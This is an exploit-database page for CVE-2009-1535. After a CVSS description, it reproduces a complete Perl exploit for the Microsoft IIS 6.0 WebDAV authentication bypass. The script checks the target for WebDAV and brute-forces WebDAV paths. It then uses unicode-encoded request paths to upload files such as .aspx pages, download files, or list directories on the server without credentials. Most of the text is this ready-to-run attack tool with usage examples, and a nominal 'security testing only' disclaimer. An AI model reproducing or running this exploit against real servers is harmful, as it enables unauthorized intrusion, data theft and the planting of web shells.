Microsoft IIS 6.0 WebDAV Auth. Bypass
CVE
Category
Price
Severity
CVE-2009-1535
CWE-287
$5000
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2010-09-28
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2010090121 ======================================
MS IIS 6.0 WebDAV Auth. Bypass Exploit
======================================
# Author : FoX HaCkEr
#Contact : [email protected]
# SiTe : www.sec4ever.com
======================================================================================================
#!/usr/bin/perl
# ********* !!! WARNING !!! *********
# * FOR SECURITY TESTiNG ONLY! *
# ***********************************
# MS IIS 6.0 WebDAV Auth. Bypass Exploit v1.1
# v1.1 add brute force dir fuction.
# v1.0 download?upload and list dir.
#
# Usage:
# IIS6_webdav.pl -target -port -method -webdavpath|-BruteForcePath [-file]
# -target &nbs p; eg.: 192.168.1.1
# -port eg.: 80
# -method eg.: g
# (p:PUT,g:GET,l:LIST)
# -webdavpath eg.: webdav
# -BruteForcePath eg.: brute force webdav path
# -file (optional) eg.: test.aspx
# Example:
# put a file:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m p -x webdav -f test.aspx
# get a file:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m g -x webdav -f test.aspx
# list dir:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m l -x webdav
# brute force + list dir:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m l -b dirdic.txt
# brute force + get file:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m g -b dirdic.txt -f test.aspx
use IO::Socket;use Getopt::Long;
use threads;
use threads::shared;
# Globals Go Here.
my $target; # Host being probed.
my $port; # Webserver port.
my $method; # HTTP Method, PUT GET or .
my $xpath; # WebDAV path on Webserver.
my $bpath; # Bruteforce WebDAV path.
my $file; # file name.
my $httpmethod;
my $Host_Header; # The Host header has to be changed
GetOptions(
"target=s" ; => \$target,
"port=i" => \$port,
"method=s" => \$method,
"xpath=s" => \$xpath,
"bpath=s" => \$bpath,
"file=s" => \$file,
"help|?" => sub {
hello();
exit(0);
}
);
$error .= "Error: You must specify a target host\n" if ((!$target));
$error .= "Error: You must specify a target port\n" if ((!$port));
$error .= "Error: You must specify a put,get or list method\n" if ((!$method));
$error .= "Error: You must specify a webdav path\n" if ((!$xpath) && (!$bpath));
$error .= "Error: You must specify a upload or download file name\n" if ((!$file) && $method != "l");
if ($error) {
print "Try $0 -help or -?' for more information.\n$error\n" ;
exit;
}
hello();
if ($method eq "p") {
$httpmethod = "PUT";
} elsif ($method eq "g") {
$httpmethod = "GET";
} elsif ($method eq "l") {
$httpmethod = "PROPFIND";
} else {
print "$method Method not accept !!!\n";
exit(0);
}
# ************************************
# * We testing WebDAV methods first *
# ************************************
webdavtest($target,$port);
#end of WebDAV testing.
# ****************************************
# * We try to brute forceing WebDAV path *
# ****************************************
if ($bpath) {
$xpath = webdavbf($target,$port,$bpath);
}
#end of brute force
print "-" x 60 ."\n";
if ($httpmethod eq "PUT") {
my $content;
my $data;
#cacl file size
$filesize = -s $file;
print "$file size is $filesize bytes\n";
open(INFO, $file) || die("Could not open file!");
#@lines=<INFO>;
binmode(INFO); #binary
while( read(INFO, $data, $filesize))
{
$content .= $data;
}
close(INFO);
#print $content;
$Host_Header = "Translate: f\r\nHost: $target\r\nContent-Length: $filesize\r\n";
} elsif ($httpmethod eq "GET") {
$Host_Header = "Translate: f\r\nHost: $target\r\nConnection: close\r\n\r\n";
} elsif ($httpmethod eq "PROPFIND") {
$Host_Header = "Host: $target\r\nConnection: close\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nContent-Length: 0\r\n\r\n";
$Host_Header = $Host_Header."<?xml version=\"1.0\" encoding=\"utf-8\"?><D:propfind xmlns:D=\"DAV:\"><D:prop xmlns:R=\"http://apache.org/dav/props/\"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>";
}
print "-" x 60 ."\n$httpmethod $file , Please wait ...\n"."-" x 60 ."\n";
# ******************** ****
# * Sending HTTP request *
# ************************
if ($httpmethod eq "PUT") {
@results=sendraw2("$httpmethod /%c0%af$xpath/$file HTTP/1.0\r\n$Host_Header\r\n$content",$target,$port,10);
if ($#results < 1){die "10s timeout to $target on port $port\n";}
} elsif ($httpmethod eq "GET") {
@results=sendraw2("$httpmethod /%c0%af$xpath/$file HTTP/1.0\r\n$Host_Header",$target,$port,10);
if ($#results < 1){die "10s timeout to $target on port $port\n";}
} elsif ($httpmethod eq "PROPFIND") {
@results=sendraw2("$httpmethod /%c0%af$xpath/ HTTP/1.0\r\n$Host_Header",$target,$port,10);
if ($#results < 1){die "10s timeout to $target on port $port\n";}
}
#print @results;
$flag="off";
if ($results[0] =~ m|^HTTP/1\.[01] 2[0-9][0-9] |){
$flag="on";
} elsif ($results[0] =~ m|^HTTP/1\.[01] 4[0-9][0-9] |){
$flag="off";
}&nb sp;
print "-" x 60 ."\n";
if ($flag eq "on") {
if ($httpmethod eq "PUT") {
print "$httpmethod $file from [$target:$port/$xpath] OK\r\n";
} elsif ($httpmethod eq "GET") {
my $line_no = 0;
my $counter = @results;
foreach $line (@results){
++$line_no;
if ($line =~ /^Accept-Ranges: bytes\r\n/){
last;
}
}
# Write file to disk
open(OUTFILE, ">$file") or die "Could not write to file: $!\n";
binmode (OUTFILE);
print OUTFILE @results[$line_no+1..$counter];
close(OUTFILE);
print "$httpmethod $file from [$target:$port/$xpath] OK\r\nPlease check $file on local disk\r\n";
} elsif ($httpmethod eq "PROPFIND") {
print "$httpmethod path list from [$target:$port/$xpath] OK\r\n";
foreach $line (@results){
if ($line =~ /^\<\?xml version\=/i){
my @list = split("<a:href>", $line);
foreach $path (@list) {
$no = index($path,"<");
$result.=substr($path, 0, $no)."\n";
}
print $result;
; last;
}
}
}
} else {
print "$httpmethod $file from [$target:$port/$xpath] FAILED!!!\r\n";
}
print "-" x 60 ."\n";
exit(0);
# *************
# * Sendraw-2 *
# *************
sub sendraw2 {
my ($pstr,$realip,$realport,$timeout)=@_;
my $target2 = inet_aton($realip);
my $flagexit=0;
$SIG{ALRM}=\&ermm;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems");
alarm($timeout);
if (connect(S,pack "SnA4x8",2,$realport,$target2)){
alarm(0);
my @in;
select(S); $|=1;
print $pstr;
alarm($timeout);
while(<S>){
if ($flagexit == 1){
close (S);
print STDOUT "Timeout\n";
return "Timeout";
}
push @in, $_;
}
alarm(0);
select(STDOUT);
close(S);
return @in;
} else {return "0";}
}
sub ermm{
$flagexit=1;
close (S);
}
sub webdavtest {
my ($testip,$testport)=@_;
print "-" x 60 ."\n";
print "Testing WebDAV methods [$testip $testport]\n";
print "-" x 60 ."\n";
@results=sendraw2("OPTIONS / HTTP/1.0\r\n\r\n",$testip,$testport,10);
if ($#results < 1){die "10s timeout to $target on port $testport\n";}
#print @results;
$flag="off";
foreach $line (@results){
if ($line =~ /^Server: /){
($left,$right)=split(/\:/,$line);
$right =~ s/ //g;
print "$target : Server type is : $right";
if ($right !~ /Microsoft-IIS/i){
print "$target : Not a Microsoft IIS Server\n";
exit(0);
}
}
if ($line =~ /^DAV: /){
$flag="on";
}
if ($line =~ /^Public: / && $flag eq "on"){
($left,$right)=split(/\:/,$line);
&n bsp; $right =~ s/ //g;
print "$target : Method type is : $right";
if ($right !~ /$httpmethod/i){
print "$target : Not allow $httpmethod on this WebDAV Server\n";
exit(0);
} else {
$flag="on";
}
}
}
if ($flag eq "off") {
print "$target : WebDAV disable\n";
exit(0);
}
}
sub webdavbf {
my ($bfip,$bfport,$bfpath)=@_;
print "-" x 60 ."\n";
print "Try to brute forceing WebDAV path ...\n";
print "-" x 60 ."\n";
& nbsp; open(BF, $bfpath) || die("Could not open file!");
foreach $lines (<BF>){
chomp($lines);
$Host_Header = "Host: $bfip\r\nConnection: close\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nContent-Length: 0\r\n\r\n";
$Host_Header = $Host_Header."<?xml version=\"1.0\" encoding=\"utf-8\"?><D:propfind xmlns:D=\"DAV:\"><D:prop xmlns:R=\"http://apache.org/dav/props/\"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>";
@results=sendraw2("PROPFIND /$lines/ HTTP/1.0\r\n$Host_Header",$bfip,$bfport,10);
if ($#results < 1){die "10s timeout to $bfip on port $bfport\n";}
print "[$lines]...$results[0]";
#maybe this response< br> #HTTP/1.1 207 Multi-Status
if ($results[0] =~ m|^HTTP/1\.[01] 401 |){
print "Find out path on [$lines]\n";
return $lines;
last;
}
}
close(BF) ;
print "Sorry... We can not find any more path... :(\n";
exit(0);
}
sub hello{
print "\n";
print "\t ##################################################\n";
print "\t # MS IIS 6.0 WebDAV Auth. Bypass Exploit V1.0 #\n";
print "\t # **************** !!! WARNING !!! **************#\n";
print "\t # **** FOR PRIV8 AND EDUCATIONAL USE ONLY! ****#\n";
print "\t # ***********************************************#\n";
print "\t # Written by csgcsg 090529 ; #\n";
print "\t ###################################################\n";
print "\n\t $0 -target -port -method -webdavpath [-file]\n";
print "\n\t -target\t\t eg.: 192.168.1.1\n";
print "\t -port\t\t\t eg.: 80\n";
print "\t -method (p:PUT, g:GET, l:LIST)\t eg.: g\n";
print "\t -webdavpath|-bruteForcePath\t\t eg.: webdav\n";
print "\t -file\t\t\t eg.: test.aspx\n\n";
print "\tUsage eg.: \n\t$0 -t 192.168.1.1 -p 80 -m p -x webdav -f test.aspx\n";
};
=======================================================================================================
Gr33ts: Mr.MoDaMeR & SILVER FoX & Z7FAN HaCkEr & Black Cobra & KinG oF CnTroL & MadjiX & Ma3sTr0-Dz
Lagripe-Dz & Shi6oN HaCkEr & ALL Members sec4ever & ALL MY Friend in MsN & ALL Members p0c team &
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only.Terms of Use and Privacy Policy and Impressum